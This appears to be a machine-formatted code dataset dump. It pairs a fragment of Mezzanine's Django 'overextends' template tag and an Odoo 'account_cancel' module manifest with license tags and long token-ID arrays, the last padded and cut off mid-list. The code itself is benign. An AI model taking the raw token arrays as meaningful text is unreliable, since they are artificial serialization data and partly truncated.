app_directories try: # Django >= 1.8 get_app_template_dirs = app_directories.get_app_template_dirs app_template_dirs = get_app_template_dirs('templates') except AttributeError: # Django <= 1.7 app_template_dirs = app_directories.app_template_dirs try: # Django >= 1.8 find_template_loader = context.template.engine.find_template_loader except AttributeError: # Django <= 1.7 from django.template.loader import find_template_loader from mezzanine.conf import settings # Store a dictionary in the template context mapping template # names to the lists of template directories available to # search for that template. Each time a template is loaded, its # origin directory is removed from its directories list. context_name = "OVEREXTENDS_DIRS" if context_name not in context: context[context_name] = {} if name not in context[context_name]: all_dirs = list(settings.TEMPLATE_DIRS) + list(app_template_dirs) # os.path.abspath is needed under uWSGI, and also ensures we # have consistent path separators across different OSes. context[context_name][name] = list(map(os.path.abspath, all_dirs)) # Build a list of template loaders to use. For loaders that wrap # other loaders like the ``cached`` template loader, unwind its # internal loaders and add those instead. loaders = [] for loader_name in settings.TEMPLATE_LOADERS: loader = find_template_loader(loader_name) loaders.extend(getattr(loader, "loaders", [loader])) # Go through the loaders and try to find the template. When # found, removed its absolute path from the context dict so # that it won't be used again when the same relative name/path # is requested. for loader in loaders: dirs = context[context_name][name] try: source, path = loader.load_template_source(name, dirs) except TemplateDoesNotExist: pass else: # Only remove the absolute path for the initial call in # get_parent, and not when we're peeking during the # second call. if not peeking: remove_path = os.path.abspath(path[:-len(name) - 1]) context[context_name][name].remove(remove_path) return Template(source) raise TemplateDoesNotExist(name) def get_parent(self, context): """ Load the parent template using our own ``find_template``, which will cause its absolute path to not be used again. Then peek at the first node, and if its parent arg is the same as the current parent arg, we know circular inheritance is going to occur, in which case we try and find the template again, with the absolute directory removed from the search list. """ parent = self.parent_name.resolve(context) # If parent is a template object, just return it. if hasattr(parent, "render"): return parent template = self.find_template(parent, context) for node in template.nodelist: if (isinstance(node, ExtendsNode) and node.parent_name.resolve(context) == parent): return self.find_template(parent, context, peeking=True) return template @register.tag def overextends(parser, token): """ Extended version of Django's ``extends`` tag that allows circular inheritance to occur, eg a template can both be overridden and extended at once. """ bits = token.split_contents() if len(bits) != 2: raise TemplateSyntaxError("'%s' takes one argument" % bits[0]) parent_name = parser.compile_filter(bits[1]) nodelist = parser.parse() if nodelist.get_nodes_by_type(ExtendsNode): raise TemplateSyntaxError("'%s' cannot appear more than once " "in the same template" % bits[0]) return OverExtendsNode(nodelist, parent_name, None)
bsd-2-clause
[ 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 504, 6466, 14, 10372, 492, 2341, 199, 199, 646, 747, 199, 199, 504, 1639, 14, 1160, 492, 5458, 12, 17762, 12, 27193, 199, 504, 1639, 14, 1160, 14, 3422, 63, 2969, 492, 11524, 795, 1716, 199, 199, 504, 562, 4348, 290, 1132, 492, 1978, 421, 199, 2683, 275, 1978, 14, 7424, 342, 421, 199, 533, 7259, 4377, 795, 1716, 8, 4377, 795, 1716, 304, 272, 408, 272, 22819, 314, 1978, 1124, 1421, 15, 1700, 14, 1360, 1040, 370, 12247, 1124, 1421, 15, 1700, 14, 1360, 4542, 272, 1627, 626, 2337, 365, 4573, 1015, 402, 652, 626, 883, 506, 6511, 14, 961, 272, 6127, 7009, 370, 506, 2737, 315, 282, 2199, 626, 12247, 3932, 1145, 272, 1978, 7055, 4181, 12, 503, 2755, 1145, 7009, 626, 12247, 1163, 1145, 272, 7009, 543, 314, 2011, 3847, 536, 15, 515, 14, 339, 2136, 675, 4154, 5705, 1015, 402, 1124, 1623, 63, 1160, 4542, 626, 4440, 376, 1437, 6960, 272, 769, 402, 1978, 6602, 370, 2754, 367, 314, 1978, 12, 4079, 641, 272, 314, 6602, 626, 314, 6040, 1978, 25520, 272, 15693, 571, 63, 12629, 1040, 436, 1124, 11381, 16580, 675, 14, 961, 769, 7545, 5489, 272, 315, 314, 1978, 1067, 12, 436, 1924, 900, 282, 1978, 365, 1911, 12, 2399, 272, 3679, 931, 7545, 4829, 687, 314, 769, 12, 880, 626, 13372, 272, 21858, 367, 314, 2011, 3847, 536, 15, 515, 883, 2342, 1676, 7009, 272, 315, 1163, 6602, 12, 1314, 6127, 15032, 15433, 370, 4781, 14, 339, 5634, 1159, 1124, 571, 63, 12629, 4542, 1124, 11381, 4542, 436, 1124, 5245, 1040, 272, 25520, 787, 3748, 14, 710, 1124, 14488, 1040, 5077, 12, 436, 1263, 5077, 626, 272, 9031, 1124, 912, 63, 1160, 63, 1365, 1040, 543, 282, 1350, 1059, 2138, 12, 272, 1077, 2597, 314, 720, 17269, 1736, 14, 272, 408, 339, 347, 2342, 63, 1160, 8, 277, 12, 536, 12, 1067, 12, 15094, 316, 29, 797, 304, 267, 408, 267, 14402, 434, 367, 5634, 1159, 1124, 1623, 63, 1160, 1040, 626, 4440, 314, 1453, 267, 1978, 1067, 370, 4215, 4426, 402, 1314, 1978, 6602, 652, 267, 965, 1202, 1380, 17196, 282, 1978, 14, 961, 6127, 3663, 7009, 267, 543, 314, 2011, 3847, 536, 15, 515, 370, 506, 24983, 12, 880, 626, 267, 15032, 1978, 15433, 883, 4781, 14, 267, 408, 398, 327, 5723, 8925, 2934, 2202, 12, 1314, 10621, 1133, 2808, 1380, 642, 267, 327, 859, 365, 8439, 370, 1124, 525, 63, 475, 63, 10372, 4542, 880, 886, 3062, 2348, 14, 267, 492, 1639, 14, 1160, 14, 16370, 14, 571, 63, 12629, 465, 1145, 63, 12629, 267, 862, 26, 288, 327, 5634, 2356, 413, 14, 24, 288, 664, 63, 571, 63, 1160, 63, 3220, 275, 1145, 63, 12629, 14, 362, 63, 571, 63, 1160, 63, 3220, 288, 1145, 63, 1160, 63, 3220, 275, 664, 63, 571, 63, 1160, 63, 3220, 360, 5876, 358, 267, 871, 4281, 26, 288, 327, 5634, 2695, 413, 14, 23, 288, 1145, 63, 1160, 63, 3220, 275, 1145, 63, 12629, 14, 571, 63, 1160, 63, 3220, 398, 862, 26, 288, 327, 5634, 2356, 413, 14, 24, 288, 2342, 63, 1160, 63, 3422, 275, 1067, 14, 1160, 14, 3908, 14, 1623, 63, 1160, 63, 3422, 267, 871, 4281, 26, 288, 327, 5634, 2695, 413, 14, 23, 288, 687, 1639, 14, 1160, 14, 3422, 492, 2342, 63, 1160, 63, 3422, 398, 687, 562, 4348, 290, 1132, 14, 2190, 492, 2202, 398, 327, 13874, 282, 2600, 315, 314, 1978, 1067, 4412, 1978, 267, 327, 1561, 370, 314, 5548, 402, 1978, 6602, 2808, 370, 267, 327, 2754, 367, 626, 1978, 14, 7048, 900, 282, 1978, 365, 6511, 12, 2399, 267, 327, 6330, 2082, 365, 4829, 687, 2399, 6602, 769, 14, 267, 1067, 63, 354, 275, 298, 14336, 12770, 3177, 63, 14455, 2, 267, 340, 1067, 63, 354, 440, 315, 1067, 26, 288, 1067, 59, 1100, 63, 354, 61, 275, 1052, 267, 340, 536, 440, 315, 1067, 59, 1100, 63, 354, 2189, 288, 1006, 63, 3220, 275, 769, 8, 1751, 14, 7433, 63, 14455, 9, 435, 769, 8, 571, 63, 1160, 63, 3220, 9, 288, 327, 747, 14, 515, 14, 4832, 365, 4346, 1334, 399, 16828, 12, 436, 2597, 15620, 781, 288, 327, 1172, 12137, 931, 17658, 9371, 3365, 4403, 397, 14, 288, 1067, 59, 1100, 63, 354, 1527, 354, 61, 275, 769, 8, 1130, 8, 736, 14, 515, 14, 4832, 12, 1006, 63, 3220, 430, 398, 327, 6516, 282, 769, 402, 1978, 25520, 370, 675, 14, 2104, 25520, 626, 4816, 267, 327, 1163, 25520, 2839, 314, 1124, 5245, 1040, 1978, 5077, 12, 625, 11530, 2399, 267, 327, 5007, 25520, 436, 1050, 5204, 3140, 14, 267, 25520, 275, 942, 267, 367, 5077, 63, 354, 315, 2202, 14, 7433, 63, 7405, 3960, 26, 288, 5077, 275, 2342, 63, 1160, 63, 3422, 8, 3422, 63, 354, 9, 288, 25520, 14, 2880, 8, 5675, 8, 3422, 12, 298, 16370, 401, 359, 3422, 2459, 398, 327, 3971, 4012, 314, 25520, 436, 862, 370, 2342, 314, 1978, 14, 3979, 267, 327, 1911, 12, 4829, 2399, 3679, 931, 687, 314, 1067, 1211, 880, 267, 327, 626, 652, 7859, 1133, 506, 1202, 4020, 1380, 314, 2011, 3847, 536, 15, 515, 267, 327, 365, 5839, 14, 267, 367, 5077, 315, 25520, 26, 288, 7606, 275, 1067, 59, 1100, 63, 354, 1527, 354, 61, 288, 862, 26, 355, 1350, 12, 931, 275, 5077, 14, 912, 63, 1160, 63, 1365, 8, 354, 12, 7606, 9, 288, 871, 27193, 26, 355, 986, 288, 587, 26, 355, 327, 5972, 2813, 314, 3679, 931, 367, 314, 2536, 1240, 315, 355, 327, 664, 63, 1708, 12, 436, 440, 1380, 781, 3984, 15094, 316, 5309, 314, 355, 327, 3499, 1240, 14, 355, 340, 440, 15094, 316, 26, 490, 2813, 63, 515, 275, 747, 14, 515, 14, 4832, 8, 515, 4439, 552, 8, 354, 9, 446, 413, 566, 490, 1067, 59, 1100, 63, 354, 1527, 354, 1055, 2168, 8, 2168, 63, 515, 9, 355, 372, 5458, 8, 1365, 9, 267, 746, 27193, 8, 354, 9, 339, 347, 664, 63, 1708, 8, 277, 12, 1067, 304, 267, 408, 267, 7190, 314, 1676, 1978, 1808, 4154, 5705, 1124, 1623, 63, 1160, 4542, 1314, 267, 911, 7675 ]
[ 636, 2443, 363, 492, 2649, 63, 5955, 199, 504, 6466, 14, 10372, 492, 2341, 199, 199, 646, 747, 199, 199, 504, 1639, 14, 1160, 492, 5458, 12, 17762, 12, 27193, 199, 504, 1639, 14, 1160, 14, 3422, 63, 2969, 492, 11524, 795, 1716, 199, 199, 504, 562, 4348, 290, 1132, 492, 1978, 421, 199, 2683, 275, 1978, 14, 7424, 342, 421, 199, 533, 7259, 4377, 795, 1716, 8, 4377, 795, 1716, 304, 272, 408, 272, 22819, 314, 1978, 1124, 1421, 15, 1700, 14, 1360, 1040, 370, 12247, 1124, 1421, 15, 1700, 14, 1360, 4542, 272, 1627, 626, 2337, 365, 4573, 1015, 402, 652, 626, 883, 506, 6511, 14, 961, 272, 6127, 7009, 370, 506, 2737, 315, 282, 2199, 626, 12247, 3932, 1145, 272, 1978, 7055, 4181, 12, 503, 2755, 1145, 7009, 626, 12247, 1163, 1145, 272, 7009, 543, 314, 2011, 3847, 536, 15, 515, 14, 339, 2136, 675, 4154, 5705, 1015, 402, 1124, 1623, 63, 1160, 4542, 626, 4440, 376, 1437, 6960, 272, 769, 402, 1978, 6602, 370, 2754, 367, 314, 1978, 12, 4079, 641, 272, 314, 6602, 626, 314, 6040, 1978, 25520, 272, 15693, 571, 63, 12629, 1040, 436, 1124, 11381, 16580, 675, 14, 961, 769, 7545, 5489, 272, 315, 314, 1978, 1067, 12, 436, 1924, 900, 282, 1978, 365, 1911, 12, 2399, 272, 3679, 931, 7545, 4829, 687, 314, 769, 12, 880, 626, 13372, 272, 21858, 367, 314, 2011, 3847, 536, 15, 515, 883, 2342, 1676, 7009, 272, 315, 1163, 6602, 12, 1314, 6127, 15032, 15433, 370, 4781, 14, 339, 5634, 1159, 1124, 571, 63, 12629, 4542, 1124, 11381, 4542, 436, 1124, 5245, 1040, 272, 25520, 787, 3748, 14, 710, 1124, 14488, 1040, 5077, 12, 436, 1263, 5077, 626, 272, 9031, 1124, 912, 63, 1160, 63, 1365, 1040, 543, 282, 1350, 1059, 2138, 12, 272, 1077, 2597, 314, 720, 17269, 1736, 14, 272, 408, 339, 347, 2342, 63, 1160, 8, 277, 12, 536, 12, 1067, 12, 15094, 316, 29, 797, 304, 267, 408, 267, 14402, 434, 367, 5634, 1159, 1124, 1623, 63, 1160, 1040, 626, 4440, 314, 1453, 267, 1978, 1067, 370, 4215, 4426, 402, 1314, 1978, 6602, 652, 267, 965, 1202, 1380, 17196, 282, 1978, 14, 961, 6127, 3663, 7009, 267, 543, 314, 2011, 3847, 536, 15, 515, 370, 506, 24983, 12, 880, 626, 267, 15032, 1978, 15433, 883, 4781, 14, 267, 408, 398, 327, 5723, 8925, 2934, 2202, 12, 1314, 10621, 1133, 2808, 1380, 642, 267, 327, 859, 365, 8439, 370, 1124, 525, 63, 475, 63, 10372, 4542, 880, 886, 3062, 2348, 14, 267, 492, 1639, 14, 1160, 14, 16370, 14, 571, 63, 12629, 465, 1145, 63, 12629, 267, 862, 26, 288, 327, 5634, 2356, 413, 14, 24, 288, 664, 63, 571, 63, 1160, 63, 3220, 275, 1145, 63, 12629, 14, 362, 63, 571, 63, 1160, 63, 3220, 288, 1145, 63, 1160, 63, 3220, 275, 664, 63, 571, 63, 1160, 63, 3220, 360, 5876, 358, 267, 871, 4281, 26, 288, 327, 5634, 2695, 413, 14, 23, 288, 1145, 63, 1160, 63, 3220, 275, 1145, 63, 12629, 14, 571, 63, 1160, 63, 3220, 398, 862, 26, 288, 327, 5634, 2356, 413, 14, 24, 288, 2342, 63, 1160, 63, 3422, 275, 1067, 14, 1160, 14, 3908, 14, 1623, 63, 1160, 63, 3422, 267, 871, 4281, 26, 288, 327, 5634, 2695, 413, 14, 23, 288, 687, 1639, 14, 1160, 14, 3422, 492, 2342, 63, 1160, 63, 3422, 398, 687, 562, 4348, 290, 1132, 14, 2190, 492, 2202, 398, 327, 13874, 282, 2600, 315, 314, 1978, 1067, 4412, 1978, 267, 327, 1561, 370, 314, 5548, 402, 1978, 6602, 2808, 370, 267, 327, 2754, 367, 626, 1978, 14, 7048, 900, 282, 1978, 365, 6511, 12, 2399, 267, 327, 6330, 2082, 365, 4829, 687, 2399, 6602, 769, 14, 267, 1067, 63, 354, 275, 298, 14336, 12770, 3177, 63, 14455, 2, 267, 340, 1067, 63, 354, 440, 315, 1067, 26, 288, 1067, 59, 1100, 63, 354, 61, 275, 1052, 267, 340, 536, 440, 315, 1067, 59, 1100, 63, 354, 2189, 288, 1006, 63, 3220, 275, 769, 8, 1751, 14, 7433, 63, 14455, 9, 435, 769, 8, 571, 63, 1160, 63, 3220, 9, 288, 327, 747, 14, 515, 14, 4832, 365, 4346, 1334, 399, 16828, 12, 436, 2597, 15620, 781, 288, 327, 1172, 12137, 931, 17658, 9371, 3365, 4403, 397, 14, 288, 1067, 59, 1100, 63, 354, 1527, 354, 61, 275, 769, 8, 1130, 8, 736, 14, 515, 14, 4832, 12, 1006, 63, 3220, 430, 398, 327, 6516, 282, 769, 402, 1978, 25520, 370, 675, 14, 2104, 25520, 626, 4816, 267, 327, 1163, 25520, 2839, 314, 1124, 5245, 1040, 1978, 5077, 12, 625, 11530, 2399, 267, 327, 5007, 25520, 436, 1050, 5204, 3140, 14, 267, 25520, 275, 942, 267, 367, 5077, 63, 354, 315, 2202, 14, 7433, 63, 7405, 3960, 26, 288, 5077, 275, 2342, 63, 1160, 63, 3422, 8, 3422, 63, 354, 9, 288, 25520, 14, 2880, 8, 5675, 8, 3422, 12, 298, 16370, 401, 359, 3422, 2459, 398, 327, 3971, 4012, 314, 25520, 436, 862, 370, 2342, 314, 1978, 14, 3979, 267, 327, 1911, 12, 4829, 2399, 3679, 931, 687, 314, 1067, 1211, 880, 267, 327, 626, 652, 7859, 1133, 506, 1202, 4020, 1380, 314, 2011, 3847, 536, 15, 515, 267, 327, 365, 5839, 14, 267, 367, 5077, 315, 25520, 26, 288, 7606, 275, 1067, 59, 1100, 63, 354, 1527, 354, 61, 288, 862, 26, 355, 1350, 12, 931, 275, 5077, 14, 912, 63, 1160, 63, 1365, 8, 354, 12, 7606, 9, 288, 871, 27193, 26, 355, 986, 288, 587, 26, 355, 327, 5972, 2813, 314, 3679, 931, 367, 314, 2536, 1240, 315, 355, 327, 664, 63, 1708, 12, 436, 440, 1380, 781, 3984, 15094, 316, 5309, 314, 355, 327, 3499, 1240, 14, 355, 340, 440, 15094, 316, 26, 490, 2813, 63, 515, 275, 747, 14, 515, 14, 4832, 8, 515, 4439, 552, 8, 354, 9, 446, 413, 566, 490, 1067, 59, 1100, 63, 354, 1527, 354, 1055, 2168, 8, 2168, 63, 515, 9, 355, 372, 5458, 8, 1365, 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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
codekaki/odoo
addons/account_cancel/__openerp__.py
124
1653
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2004-2010 Tiny SPRL (<http://tiny.be>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## { 'name': 'Cancel Journal Entries', 'version': '1.1', 'author': 'OpenERP SA', 'category': 'Accounting & Finance', 'description': """ Allows canceling accounting entries. ==================================== This module adds 'Allow Canceling Entries' field on form view of account journal. If set to true it allows user to cancel entries & invoices. """, 'website': 'http://www.openerp.com', 'images': ['images/account_cancel.jpeg'], 'depends' : ['account'], 'data': ['account_cancel_view.xml' ], 'demo': [], 'installable': True, 'auto_install': False, } # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
agpl-3.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 199, 3, 259, 7653, 12, 3232, 5800, 8259, 9274, 199, 3, 259, 1898, 334, 35, 9, 8353, 13, 6542, 11947, 12361, 8642, 1014, 921, 9864, 14, 1235, 10121, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 199, 3, 259, 3267, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 199, 3, 259, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 4605, 199, 199, 91, 272, 283, 354, 356, 283, 9083, 22142, 23450, 1996, 297, 272, 283, 1023, 356, 283, 17, 14, 17, 297, 272, 283, 2502, 356, 283, 25347, 13950, 297, 272, 283, 3710, 356, 283, 6009, 316, 1253, 11711, 554, 297, 272, 283, 1802, 356, 408, 199, 19780, 286, 554, 2983, 24772, 4811, 14, 199, 2486, 532, 199, 199, 2765, 859, 9584, 283, 7852, 445, 554, 2983, 23450, 1996, 7, 901, 641, 1824, 2455, 402, 2933, 9605, 14, 199, 3917, 663, 370, 2549, 652, 6127, 922, 370, 9311, 4811, 1253, 26175, 14, 272, 10327, 272, 283, 7360, 356, 283, 1014, 921, 1544, 14, 11267, 14, 957, 297, 272, 283, 4782, 356, 788, 4782, 15, 2048, 63, 6406, 14, 14230, 995, 272, 283, 8912, 7, 520, 788, 2048, 995, 272, 283, 576, 356, 788, 2048, 63, 6406, 63, 1345, 14, 1652, 7, 2156, 272, 283, 8768, 356, 990, 272, 283, 21762, 356, 715, 12, 272, 283, 2495, 63, 3174, 356, 756, 12, 199, 93, 199, 199, 3, 6695, 26, 10379, 26, 10558, 26, 6492, 29, 20, 26, 10503, 29, 20, 26, 10425, 29, 20, 26, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 199, 3, 259, 7653, 12, 3232, 5800, 8259, 9274, 199, 3, 259, 1898, 334, 35, 9, 8353, 13, 6542, 11947, 12361, 8642, 1014, 921, 9864, 14, 1235, 10121, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 199, 3, 259, 3267, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 199, 3, 259, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 4605, 199, 199, 91, 272, 283, 354, 356, 283, 9083, 22142, 23450, 1996, 297, 272, 283, 1023, 356, 283, 17, 14, 17, 297, 272, 283, 2502, 356, 283, 25347, 13950, 297, 272, 283, 3710, 356, 283, 6009, 316, 1253, 11711, 554, 297, 272, 283, 1802, 356, 408, 199, 19780, 286, 554, 2983, 24772, 4811, 14, 199, 2486, 532, 199, 199, 2765, 859, 9584, 283, 7852, 445, 554, 2983, 23450, 1996, 7, 901, 641, 1824, 2455, 402, 2933, 9605, 14, 199, 3917, 663, 370, 2549, 652, 6127, 922, 370, 9311, 4811, 1253, 26175, 14, 272, 10327, 272, 283, 7360, 356, 283, 1014, 921, 1544, 14, 11267, 14, 957, 297, 272, 283, 4782, 356, 788, 4782, 15, 2048, 63, 6406, 14, 14230, 995, 272, 283, 8912, 7, 520, 788, 2048, 995, 272, 283, 576, 356, 788, 2048, 63, 6406, 63, 1345, 14, 1652, 7, 2156, 272, 283, 8768, 356, 990, 272, 283, 21762, 356, 715, 12, 272, 283, 2495, 63, 3174, 356, 756, 12, 199, 93, 199, 199, 3, 6695, 26, 10379, 26, 10558, 26, 6492, 29, 20, 26, 10503, 29, 20, 26, 10425, 29, 20, 26, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 